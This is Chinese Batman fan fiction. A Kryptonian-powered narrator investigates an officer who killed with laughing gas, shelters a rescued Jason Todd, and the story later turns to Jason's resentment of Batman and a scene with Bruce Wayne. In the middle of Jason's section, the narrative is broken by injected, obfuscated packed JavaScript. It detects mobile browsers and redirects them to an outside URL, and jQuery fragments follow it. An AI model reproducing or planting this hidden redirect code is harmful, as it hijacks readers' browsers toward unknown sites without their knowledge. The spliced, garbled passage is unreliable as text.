今天是个好天气,没下雨。


    或许是因为哥谭靠海,又或许是别的什么原因,它的雨季频繁又持久,这一个月来时不时就会下着狂风暴雨,偶尔的好天气我就只有一个月前见到过。但今天的天气很好,虽然没有太阳,可温度适中,是个值得出来散步的好日子——对我来说。当然,对我眼前的这位先生来说今天的日子是一个糟糕的天气,他此刻正抽搐的跪倒在地上发笑,笑得不大声却更为疯狂和危险,我蹲在面前,他或许以为我是来救他的天使,五官往外渗着鲜血嘴角却反抗常理的仿佛被人强行夹起只为了露出一个笑容。他匍匐在我的脚下,颤抖着手想要抓住我的衣角,被我毫不留情地拍下。


    “救救我……”他说,“我有钱……我什么都能……”他边说边笑,那几句轻轻的求救被他的笑声给掩盖了过去。这位先生痛苦地想要以撞墙的方式来阻挡他身体里横冲直撞的腐蚀。真可怜,我怜悯地低下头垂下眸,亲切地握住他的手腕,将他的上半身提起,迫使他不得不抬头看向我,他愣愣地却是笑着,任由我掀起他的衣服将他脸上那蜿蜒流下的细长血液仔细地擦得干干净净,于是他的笑容更明显了。


    我说:“别担心,库克。我怜悯你。”


    他的眼睛猛地瞪大,或许是以为来救他的罢。但可惜的是,他那几声笑容和求救被他喉间逐渐涌上的血液吞噬,若是闭上嘴还不至于受呛,但随着他的开口他的呼吸,血液顺着他的腔道回流又堵塞,他死于了自己的求救声里,死在了我的怀里。我什么也没做,我只是看着他死去,伸出手闭上了他的眼睛。


    你说,这叫什么事呢?


    我不免抬头看向眼前的这位警官,安德迈尔斯,一位正直的警员啊,三年前经手库克安德森入室抢劫杀人,和女主人的女儿相遇相知相爱。这很好猜,因为他的档案几乎可以说是透明的,只要有一定的电脑基础的人,都会追查到他的生平。此刻我们已经走了很长一段路,两边的榆树正随着微风作响,他似乎在这街区很有名气,见到他的那些喜欢聚集在巷口的混混们都会一哄而散。我就在时亮时暗的灯光下说话。


    “你说,罪恶是不是真比正义更深刻?”


    库克倒地前三十秒我正站在他们的正上面全程围观了安德所做的事,他拿出了一个小型的针筒,在经过库克时划破了他的皮肤。一个GCPD的小警员,他三年从没寻过仇,如今又为何要用笑气来杀人?显然他并不是一个专业的天才,随意地添加只会得到更恐怖的下场,就像原本只需要笑但结果却跟着七窍流血的库克一样。他想当一位新小丑?为什么?


    “我还想问库克小丑帮的常用聚集点呢,安德。”我用熟稔的语气朝他抱怨,“还是我也该称呼您为小丑呢?”


    我抓住了他想要用同样的动作刺过来的手腕,在他想要再进一步时动也不能动,而后只需要稍稍用力,骨头会在不堪重负时发出声响,一般都是在提醒你注意骨质注意坐姿,当现在当然不是这种提醒。对方发出了一声痛呼,骨头卡住被巨力施压不亚于骨裂,我看着他因为吃痛而踉跄地跪下,我也不免平易近人地跟着他下跪的视角蹲下,提着他的手好脾气地问:“我知道你,安德。你的妻子知道你做的这件事吗?”


    提到克莱尔原本愤恨的安德忽然一僵,他慌忙地求饶:“别……别告诉她。她好不容易才忘记母亲的事!你找我想做什么……我都告诉你!别告诉她……求求你……”


    哈哈,哎。这都是什么事呢?


    我轻声细语:“别担心,安德。我看过你的履历,在蝙蝠侠还没出现在哥谭时,你是一位年轻人,你进入GCPD的简历写着你要大展拳脚的抱负,但你失败了。但是没想到戈登来了,蝙蝠侠也至,哥谭开始产生了对你们来说比较明显的变化,你在网络上发表了不下六次公开支持蝙蝠侠的话,你觉得哥谭因为他变得更像一个城市,黑.帮、黑.警、贪.污、受.贿、杀.人、抢.劫,哪怕它们还在,是哥谭的一部分血肉,尸体横行,罪恶丛生,所有人都在其中苟且偷生,可你依然认为它变好了,你甚至觉得哥谭的那几大家族其中之一的韦恩弃暗投明也是因为蝙蝠侠!你认为他不杀罪犯虽然天真但是你也会支持他。因为你也同样放弃了克莱尔的复仇,你不想带着这身罪人的血去和你的妻子结婚,你们孕有一子,你们打算重新生活。可现今,你打破了你们的计划,为什么?”


    我不紧不慢地起身,看着跪倒在地的人,手轻柔地放上他手臂的关节,好脾气地跟他说话:“不过当然,这些我都不关心。我只想知道,你为什么要用笑气,你应该仇视小丑,因为他绑架了你的妻子。哎,原谅我吧,朋友。你是一个无足轻重的小人物,但我知道,大厦将倾是因为蚂蚁,我怎能忍受变化呢?”


    只轻轻一用力,咔嚓一声,我在他的哀嚎声中轻声的,嘶哑地诱哄着他:“告诉我吧,朋友。小丑,他对你做了什么?”


    ——


    “你去哪了?”


    等我回到安全屋就听到了这一句话,我抬头看过去,对方正站在玄关处,并不显眼的灯光没照亮他的样子,但我知道他是谁。所以我嗯了一声,将披风解下,任由他闻了闻露出厌恶的表情:“你去杀人了?”


    “怎么会?”我脱掉了鞋子,在他面前懒洋洋地伸了个懒腰,奔波一晚的骨头终于发出放松的脆响。而后,我将玄关的灯光打开,对方终于露出了模样,我随手让他让开,将披风挂在了衣架上,“我饿了,你做了什么?”


    “三明治。”


    “太好了,我现在饿到你随便给我塞几根生菜我都会夸这是顿美味。”


    杰森,我在一个月前从阿卡姆——从小丑的眼皮底下救下来的被小丑说是“玩具”的那名少年,他还害得我背上了一个“小偷”的污蔑。我本不该救他,但TE6做引,我的善心做果,我将他救下,也因此在小丑的心中留名,虽然我判断这个留名的大小会以杰森在他心目中有多重要来看。目前来说,一般,小丑只是用小丑帮来找我,他更大的注意力是在蝙蝠侠身上。从那天后,我想了很久,才了然小丑为什么用得是烟花,当你不得不放弃去救人时,却发现对方的炸弹只是一个笑话。而你为了这份笑话放弃了你的内心。


    这就是小丑的乐趣所在,比炸弹更尖锐,更能让蝙蝠侠直面他心中已失偏颇的正义,哪怕最后小丑没成功,但是谁说他未成呢?你永远也无法判断,下一次、再下一次,这炸弹还会不会是一个笑话。


    杰森是在半个月前醒的,其实他在当时的一周前就已经被氪星的医疗修复完成,但或许是一年来的营养不良和身体机能的透支,以及被虐待后的精神方面问题,在修复完成当天他并没有醒来。我只能将他放在另一个营养舱里——外形像一块冰,但内里是一种修复营养液。我不得不说,氪星的科技确实领先地球太多了,但我并没有回收佐德带来的那几架氪星飞船和引擎,地球应该会赶上的——回归正题,在被我放进营养舱之后过了一周,我当时正在为我考过记者证且通过了星球日报的面试而得意。孤独堡垒便在这种时候给我提醒,我连忙又将他抱回了我在哥谭买的那个安全屋,好在这一路的颠簸他没有醒,否则我只能给他来一个记忆消除术了——是的,孤独堡垒也有这种技术。谁敢信?难怪缺了卡尔艾尔不得了呢,这种超脱等级的技术地球竟然得不到,那就有失宇宙中心的面子了。


    总之,他醒来了,但并没有像我想的那样激烈反抗或者警惕什么的,不然我说不准还得打个小孩。他只是安静地躺在床上,透过窗外看着哥谭——因为他很久没动用四肢,虽然医疗舱保证了他四肢不再萎靡并且修复好了后遗症,但依然需要他重新将他的手脚训练。我是没这么好心提醒他的,但我猜这小孩在被小丑逮捕前应该也是被人训练过的。至少他知道该怎么去驯服自己的四肢,好像也不能忍受自己一直躺在床上。


    于是在没到训练的时间段,他会躺在床上,一句话也不说就看着我时不时出个门,然后满身血腥味地回来,还记得给他带点快餐啥的,别说病人需要营养,他都快把我孤独堡垒的营养吃没了我还给他营养?


    我没想向他掩饰什么,那很累。


    反正未来我总要把他丢给蝙蝠侠,现在在他心里增加点我不好惹还是个可能每天晚上出门就是为了杀人的罪犯这种印象挺好的。我都做好了他会像那种嫉恶如仇的——毕竟被小丑折磨了这么久——的人来质问我。可这小子不知道什么情况,还真的一句话也不问,一句话也不说,就默默地吃着我买的(重点:我花钱买的)快餐,安分的自己去那训练四肢,就连在走路过程中狠狠地摔跤也一声不吭。我们在那段时间像一个陌生的同居人一样,可是这是我花钱买的房子!?


    小丑,看你把孩子弄成什么样了!


    我终于还是看不过眼,没再出门,在他再一次地摔倒后我走上前将他扶起来。他那双蓝色眼睛就这么无神地看了过来,还是不说话,也不反抗,但倒是配合我的帮忙,直到前几天他略有成效甚至还能简单做顿饭,我才打算出门。


    可他不知道搭错了哪根筋,在我将要出门前看着我将兜帽扣上后忽然开口:“你还会回来吗?”


    我愣了一下,然后将兜帽戴上,他只能看见我露出的下半张脸的笑:“你难道打算鸠占鹊巢吗?”


    从那天后,他开窍了,只是会识趣的不过问我是谁,也不过问我是怎么把他的伤恢复好的,挺好的,知道我是救命恩人。不过有时候他也不是那么识趣,他会理所当然地要求我给他买几本他递过来的书单上几本书,会拜托我买些厨房食物,还会请求我买一个收音机。都不是很过分的要求,所以我都应了。


    在得到收音机后,他还为此错过了一直刻苦的锻炼,不知道调得什么频道,在听到收音机里面传来蝙蝠侠和罗宾的消息时又很快关闭,沉默了很久,砸了收音机,蹭蹭蹭就把自己关进房门,还把门摔得震天响。


    ……什么毛病。知道收音机花了我多少钱吗!?


    那天后,他自暴自弃了好几天,可随即他的锻炼也更加刻苦。现在已经看上去和常人走路没有区别,只是还有些一瘸一拐,能在半个月内将萎靡的肌肉训练到这种程度,实在是了不起,还有些透支潜力,太压榨自己了。如果他不是由氪星的科技救回来的,这么下去他只会将自己的身体变得比以前更恶劣。看上去他也明白自己身体这股莫名来的潜力,这致使他在某一天我又要出门时忽然开口。


    “你为什么要冒着得罪小丑的风险救我?”


    我顿了顿,扭头看过去。其实为了照顾这位病患的心理健康问题,我特意调整了灯的频率,不会太刺眼,也会更柔和更明亮。可对方此刻却好像没被这束光照亮,我看见他幽暗的蓝色眼睛,他执着地盯着我看,大有一副你不回答我我就从这里跳下去的架势。我直觉如果我答得不好,这小子好像要走上什么不得了的地步,我不由得眉眼一跳。青少年的心理问题是救命恩人该解答的?


    但考虑到他吃穷我的孤独堡垒,又考虑到我这半个月付出的金钱和精力,再考虑到我都给他照顾成这样了不能把他变得更差劲送给蝙蝠侠吧?这岂不是说我比小丑还不如?


    总之,考虑到沉没成本。我停下了动作,门没有开,我却觉得他好像正站在人生的选择题上,正站在悬崖上方,等着一根绳索的垂怜,或是束缚他的脖颈;或是将他带离悬崖。


    可我平时在做预备搞事准备的那种能说出甜言蜜语的嘴此刻好像被人上了锁,我惊觉我不能随便说话去毁掉一个未成年人。我还不知道他是善是恶,可这半个月的经历我更愿意觉得他应该是一个好孩子:他会在我每夜回家时为我留一扇玄关的灯;会给我准备好我来不及买快餐时的菜(虽然都是随便炒炒就行了的)。我杀过人,我曾为此辗转反侧深夜难眠,每当我梦见佐德的讽刺时的惊醒,我都能看见我的床头柜上有一杯热水。


    他是个好孩子。此刻才发现这些事竟让我有些怀念。


    我褪下了我的披风和鞋子,重新踏上玄关。环顾四周,才发现这本该只是暂时用来落脚的安全屋已经变了样:收音机(是,又重新买了)、书柜、电视、厨房,还有两间如出一辙的没有其他装饰的简单的房间。我并没有回,杰森好像也不在意,他只是在等待着宣判。


    于是我平静地说:“想救就救了。”


    “你不知道我是谁?”他似乎是等了很久,接连发问。听他的语气似乎知道他是谁很重要,那对我来说确实严格来说也很重要。可这对当时救下他的我并不重要。


    “我知道你的名字。”我看着他的脸,在一个月前他的脸上还有被人烙印上去的“J”,“我知道你观察我很久了,孩子。”


    在每一夜我出门时,在你没说话时,你都会打开那扇没开灯的房门观察我,审视我。直到我似乎通过了他的审视,他才愿意主动开口。


    “我看到了你对蝙蝠侠和罗宾的态度,杰森。”这句话说出口的瞬间,对方露出了“我就知道”的讽刺表情,还有隐隐约约的警惕。他说:“所以你也是想通过控制我去对付蝙蝠侠的小丑?”


    ……


    这孩子说话咋这么难听。


    但好像如果我说是他就要跳崖了。我谨慎地观察他的神情好一会儿,发觉他本有些神色的眼睛又无神了下来……也太敏感了。我不由得蹲下来,将手放在他肩膀,用一种仰视的行为来让他知道他此刻是俯视我的,效果明显,我看见他抿着嘴看向了我。


    他还只是一个孩子,还没成年,我不免放缓了声音,“听我说,杰森。我从未打算拿你去对付蝙蝠侠,我甚至不知道你为什么听到蝙蝠侠就这种态度。这都不重要。”


    “我救你,是因为你向我求救了。”


    我吃三明治如牛嚼牡丹,吃不出什么味来。也有可能是放太久太冷了。


    自从那天和杰森谈话,他终于放松了下来,只是绝口不提蝙蝠侠,也不再提及相关的言论。只是他还是会问我我救他究竟是为了什么。他似乎不相信有人会无缘无故地去救一个毫无血脉的人,不知道他除了被小丑虐待究竟经历了什么,他的生活态度目前可以说是对所有事都抱有一种不信任的态度,和某种隐约的怒火,可在面对公开布诚的我却压抑了一点本性,可却依然会问道,还说什么知恩图报。


    我当时想了想,也不好否决一上头就为了哄他的话。只能沉稳地对他说:“我打算当哥谭的一个超级反派,如果你要知恩图报,就当我小弟吧。你叫荒谬。”


    “不。”杰森坚决道。


    啧。想到这个提议被坚决否决好几次就不高兴。我恨恨地吃掉三明治,然后将盘子收进洗碗机里像是突然想到一样突兀开口,“对了,我今晚把蝙蝠侠吸引过来了。”


    杰森没说话,只是翻书的动作慢了下来,没瞒住我。他似乎很爱看些世界级别的名著,偶尔还会引用几句,我坐到了他对面的沙发上——都是这半个月引进的——捧着温水,喝了口舒服地喟叹出声靠在了沙发背上继续说:“和我第一次见他没区别。你知道……”


    “我不想知道他。”杰森突然开口打断我的话,“我困了,先睡了。”


    你一直没翻动的书可不是这么说。我在心里翻了个白眼。但也没制止,只是看着他进了房间关上门,又喝了口热水。


    在没有人后,我终于沉默了下来,又从怀中掏出了一张印有小丑的绿色卡牌在手指间灵巧地翻飞。我的思绪回到了我和安德对话的时候。


    他当时被我扣住了关节,在骨折的压力下他终于开口:在当时被小丑找上门时,小丑给他注射了一管不知名的液体。那股液体在流进血液里就差点让他死去,最后还是一个像医生的男人又给他注射了什么他才活着。可是也只是活着,他当时已经意识模糊了,只能隐隐约约听到小丑叫那个医生为雨果。等醒过来后,小丑给了他一个炸弹和他妻子的照片,告诉他晚上会有一个被抓的小丑,他需要当那个护送小丑的警员,否则他的妻子就危险了。他不得不照做。


    之后就是我知道的剧情了,可再之后我不知道的是,安德说:从妻子被戈登送回来后。他的脑子里忽然像是被人插入了一个念头,一道声音,那道声音说:你必须要杀了蝙蝠侠,否则你的妻子还会有危险!小丑还会绑架她的!!你是因为蝙蝠侠才被小丑抓走克莱尔的,都怪蝙蝠侠!!都怪,蝙蝠侠!于是他就想着,他得杀了蝙蝠侠。


    所以他自制了不稳定的笑气,库克成了第一个牺牲品,效果他很满意。因此他想着下次蝙蝠侠来GCPD询问案件时,他可以装作不经意间向蝙蝠侠投掷这个武器。只要蝙蝠侠死了,只要他死了,他们的生活才会更美好。


    我听完之后只觉得小丑不愧是打不死的蟑螂,这都能有他的戏份。可惜之后似乎是触及到了什么,安德忽然僵硬了一会儿身体,然后猛地笑了起来,这我可不能让他死在这里,于是我拨打了蝙蝠侠热线。蝙蝠侠来得飞快,我已经走了。


    而现在,我看着我从安德兜里偷出来的这个小丑卡牌,随后,我将它甩上了桌。


    小丑——小丑,小丑。


    我想到了TE6。


    [TE。]


    [我在,宿主。]


    [那个一直看着我的,是不是就是TE6?]


    [权限不足,无法解答。]


    “靠!”


    ——


    杰森听到了门外的这句怒骂,他并不关心这名向他自我介绍为谬论的人在做什么——他看了眼床头的书,好吧,他还是在意的。


    谬论以为他全程都封闭着大脑,对外界一无所知。其实并不是,他知道有人救了他,他知道有人终于将他从噩梦中解救出来,他以为是蝙蝠侠,他甚至做梦都梦见了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203103|181234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那个人就是蝙蝠侠!可是他睁开眼,窗外在下着雨,哥谭一年四季365天能236天都在下雨,阴暗的天气,昏暗的光线,可这都不妨碍他看清了是谁站在他床头,是谁救下了他——不是蝙蝠侠。


    他在那一瞬间就明白了一件事:永远不会是蝙蝠侠。


    可他还是想:也许蝙蝠侠是被什么事牵住了呢?也是蝙蝠侠是被小丑骗了!毕竟他们都知道小丑是怎么样一个喜欢骗人的恶心的罪犯!也许现在把他救下的人是蝙蝠侠派来的!蝙蝠侠还在等着他回家。蝙蝠侠一定在等着他!


    所以他还得将四肢重新康复。等一切都康复好了,等他恢复好这具身体,他就回家,然后跑过去抱住布鲁斯,说我不怪你一直没来救我!


    他知道自己身体的极限,他原本是按照自己曾经的极限去锻炼的,他是想康复,不是想加重。


    可他发现他的身体,他的潜力竟比以前还要深厚,他仿佛有无限的精力去做他以前做不到的事,就算他压榨自己,严苛自己,这具身体竟然依然没有问题,这不是他原本的天赋。所以他明白,这是拜谬论所赐。可是为了什么呢?去拯救一个毫无联系的陌生人,他只相信蝙蝠侠会这么做。可现在,还有另一个人,这个一定是为了从他身上得到什么。但没关系,等他恢复好了,和布鲁斯见面,他会回报谬论的。不管谬论需要什么,不过杀人不行,蝙蝠侠不会允许的。他还向谬论忐忑地询问能不能替他买些东西,他会还的。他都做好了被拒绝的准备,可是谬论只是问他要什么?


    所以杰森要了书、要了一些基本的厨房用具(他实在不想天天吃没啥味的快餐了。谬论究竟是在哪买的?),他还要了一个收音机。他知道哥谭新闻的频道,在身体还没完全好利索前,他只能通过这种方式去了解蝙蝠侠现在在干什么。可现在回想起来,杰森宁愿他不去听,他宁愿什么也不要,就这么封闭着自己,等身体好了再去见布鲁斯。可再回想,先提前知道了这件事也总比他回家后发现他的家已经没有他一席之地好。


    他一定会痛苦不堪。


    而这一切只是因为:蝙蝠侠,有了一个新罗宾。


    他怎么敢!?他怎么能!?他怎么可以在我还没死的时候就找一个替代品!一个人完完全全的替代品,他甚至没来找过我!我就在阿卡姆,我就在他的另一个家!!我甚至……我甚至!从来没有低下头,背叛过蝙蝠侠……!一年,到现在为止才过了一年!


    那主持人语气对这个罗宾了如指掌,所以这个替代品出现在蝙蝠侠身边多久了?所以蝙蝠侠是什么时候放弃找他的?


    杰森只要想到这种可能他就会产生深刻的怨恨,他为了蝙蝠侠付出了一切。他的人生,他的灵魂,他日复一日地被折磨都在相信蝙蝠侠会来救他!可是蝙蝠侠做了什么!?他做了什么!


    他不抗拒一位新罗宾接替他,如果杰森的身体真的很差劲的话,他可以耐心养好,等养好了他还可以重新加入。可唯独,唯独不能是他还在想着蝙蝠侠一定会来救他的时候,蝙蝠侠放弃了他,找了一个新的替代品。


    ……蝙蝠侠不会再来了。


    杰森忽然真正明白了这句话。


    但在他自暴自弃了几天后,他忽然想明白了一件事:凭什么?


    凭什么他这么痛苦,凭什么他忍受了这么久的折磨而蝙蝠侠还能拥有一位新罗宾?他的身体已失去了伤痕,可他的精神却伤痕累累,疲惫不堪,只凭着对蝙蝠侠的期望才一直活着。可现在,蝙蝠侠将他的希望给摔碎了,蝙蝠侠将他长久以来的精神支柱打碎了。凭什么蝙蝠侠可以不知道?凭什么他就能这么潇洒地去当他的英雄!?他谁也没救下!他就是个骗子!


    在他被小丑用撬棍敲骨时蝙蝠侠是不是在和那个罗宾在哥谭上空到处飞?在他被那些罪犯嘲笑时他们心里是不是就在笑:一个被蝙蝠侠舍弃的罗宾。还自以为是的没有背叛蝙蝠侠的,又一个被蝙蝠侠骗到的可怜虫。他们知道蝙蝠侠身边有个新罗宾,可所有人都没提及,他们都在看着一个旧罗宾自欺欺人!


    蝙蝠侠欠了我!杰森咬牙切齿地捂着早已失去标识的右半张脸想:蝙蝠侠欠了我一条命!


    那谬论呢?杰森阴暗地注视着这位每天都会被夜晚邀约出门的人,他黑色的制服像是蝙蝠侠,可那一抹红色却偏偏彰显了出来。他想:那谬论究竟是为了什么救下了他?


    杰森清楚,每当小丑被蝙蝠侠挫败了什么阴谋时这个恶心的家伙都会从他身上找寻心情。他是小丑一个用的不错的玩具,而小丑总是对自己的玩具拥有占有欲,这说出来让杰森感到恶心,如有虫卵在他的经脉中游走啃食。但他却依然明白,如果继续被小丑这么下去,他不知道还能忍耐多久……他真的……会为了蝙蝠侠而不怕死吗?他会死,如果继续下去他一定会死!可这些念头都被谬论制止,他救了自己一条命。


    于是他问出了口,在听到谬论说他知道杰森是谁时,他那只是被简单的布匹遮掩的脖颈就暴露在杰森的眼里。又是蝙蝠侠。又只是为了蝙蝠侠!都是为了蝙蝠侠!


    杰森想:那你们都得死。小丑、蝙蝠侠,还是近在眼前的谬论。永远是为了蝙蝠侠。


    蝙蝠侠喜欢无缘无故地救下一个人,他爱着这座城市,他热衷于扮演一个拯救迷途羔羊的勇者。他想要高举勇士的剑,那杰森便要打碎它。让蝙蝠侠也尝尝他受过的所有折磨,那些深入皮肤下,刺入骨髓的殴打;那日复一日的精神折磨,凭什么蝙蝠侠还能做那受人讴歌的英雄?他是一个纯正的骗子,他欺骗我,他欺骗所有人!他说过他会拯救我!


    可谬论却接着说:“那些都不重要,杰森。”


    他蹲了下来,以仰视的姿态看向了杰森。没有戴着他的兜帽,露出了他那双混着红色的绿色眼睛看向杰森,甚至让杰森仿佛看见对方眼睛里倒映的自己。


    他说:“我救下你,只因你向我求救。”


    他救下你,只因你是你。


    哥谭又下雨了,杰森却会莫名觉得明天还是个好天。因为还有一个人,只是因为杰森而救下杰森。所以谬论说他想成为一个超级反派,杰森愿意帮他。他会帮助谬论,他会让蝙蝠侠后悔。


    他会让蝙蝠侠知道他是一个骗子,骗了自己,骗了他,骗了整个哥谭。


    不过荒谬这个代号还是太难听了,他不要。


    ——


    “老爷。”阿尔弗雷德开口。“您今天还有一份来自星球日报的访谈。”


    “嗯?”布鲁斯看了过去,他昨天晚上查出安德迈尔斯后和戈登打了一个小时的电话,拨通电话的前半个小时他们得出不要轻举妄动的结论。因为安德用的是笑气相关的手法,他们担心这又是小丑的后手,所以为了探查小丑又打算做什么,他们原本只准备监视安德,避免他再次杀人,等到找出小丑的机会再将安德逮捕。可惜这个计划中道崩殂,有人联系到了戈登,说安德迈尔斯忽然狂笑不止,等到蝙蝠侠到了,除了还在笑的安德,其他人什么也没看见,连线索也没有。好在蝙蝠侠还能还原现场,让他知道安德最后一次见到的人是谁,又是谬论。


    他究竟想干什么?想到谬论的发言蝙蝠侠就头疼。


    而后半个小时是他们在商量要怎么应对安德的妻子克莱尔。


    这位可怜的女性先是被小丑绑架,而后丈夫又被小丑利用。现在安德被安排住进了医院,结果很不好,他的血液里不知道被人注射过什么东西,红细胞正在被某种病毒疯狂吞噬,再这么下去,他的血液里流的就不是血,而是这个病毒了。所有相关的医生都被戈登叫了过去加班加点只能面前缓解吞噬的速度,而最后……安德只能等死。


    想到这,戈登也很是头疼。他是安德的上司,理应由他说明,但问题是克莱尔是个孕妇。所以戈登就只能说安德还有些交接没做,那些交接很麻烦,还要去一趟其他国家和城市,但别担心,他很安全,很快就能回来。不知道克莱尔信没信,反正是没追问了。


    而先知也没闲着,她也正拿着安德的血液在蝙蝠电脑里分析病毒的组成。到现在为止进步很愁人,蝙蝠侠一直没睡。直到阿尔弗雷德开口,蝙蝠侠才回过神来想起了他备忘录上的这件事,而现在已经快十点了。


    蝙蝠侠觉得头更疼了:“让他们重新约个时间,就说布鲁斯韦恩因为前几天出去滑雪摔断了腿。”


    “我恐怕不能了,先生。”阿尔弗雷德表达出了爱莫能助的语气,他拿出了平板划出了一个韦恩庄园大门口监视的画面,“露易丝莱恩小姐和她的助手克拉克肯特先生已经上门了。”


    蝙蝠侠:“……”


    他确实对露易丝莱恩兵贵神速的行动力早有耳闻。他抽了抽眼角,深深地,深深地叹了口气,然后扭过头对先知说:“你和罗宾,注意进度,我很快回来。”


    先知:“ヽ(??ω?? )ゝOK。”